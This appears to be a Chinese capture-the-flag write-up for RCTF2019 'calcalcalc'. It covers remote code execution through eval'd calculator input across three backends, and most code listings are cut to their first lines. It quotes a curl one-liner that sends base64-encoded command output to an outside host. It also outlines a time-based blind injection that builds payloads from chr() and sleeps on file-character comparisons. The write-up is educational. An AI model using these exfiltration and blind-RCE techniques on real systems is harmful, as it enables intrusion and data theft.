[RCTF2019]calcalcalc(rce时间盲注)
我们在github上下下来源码
python源码
1 | from flask import Flask, request |
限制了命令执行的函数
php
1 |
|
node.js
1 | const express = require('express') |
题目的意思应该是输入一个式子,会同时传到三个后端,当三个后端的计算结果相同是才会生效,否则失败,并且都过滤了个别危险函数库,都做了超时设定。都会直接eval输入的值
1 | validate(value: any, args: ValidationArguments) { |
这是对我们的输入进行的正则匹配.
由于代码都先eval再继续判断的,那最多就是看不到那我们是否可以进行flag外带
1 | curl ip:23333/`ls | base64` |
答案是不行的,因为我们在docker-compose.xml文件中发现三个后端用的是内网,所以不能外带数据
那我们应该怎么做
我们发现我们输入命令的话页面总会输出
1 | That's classified information. - Asahina Mikuru |
这种情况我们可以联想到sql注入的时间盲注,我们可以关注前端做出的响应来判断其中某个后端的执行结果是否成功
但我们需要eval(eval())嵌套执行,而且需要用chr()+chr()构造字符
满足上你把要求就是我们写脚本使用的语言,就是python
1 | import requests |
用chr()构造字符。然后+拼接。eval执行一次。得到payload。然后再由系统自带的eval执行一次。执行payload__import__('time').sleep(5) if 读取文件的第一个字符>xx else 1
进行盲注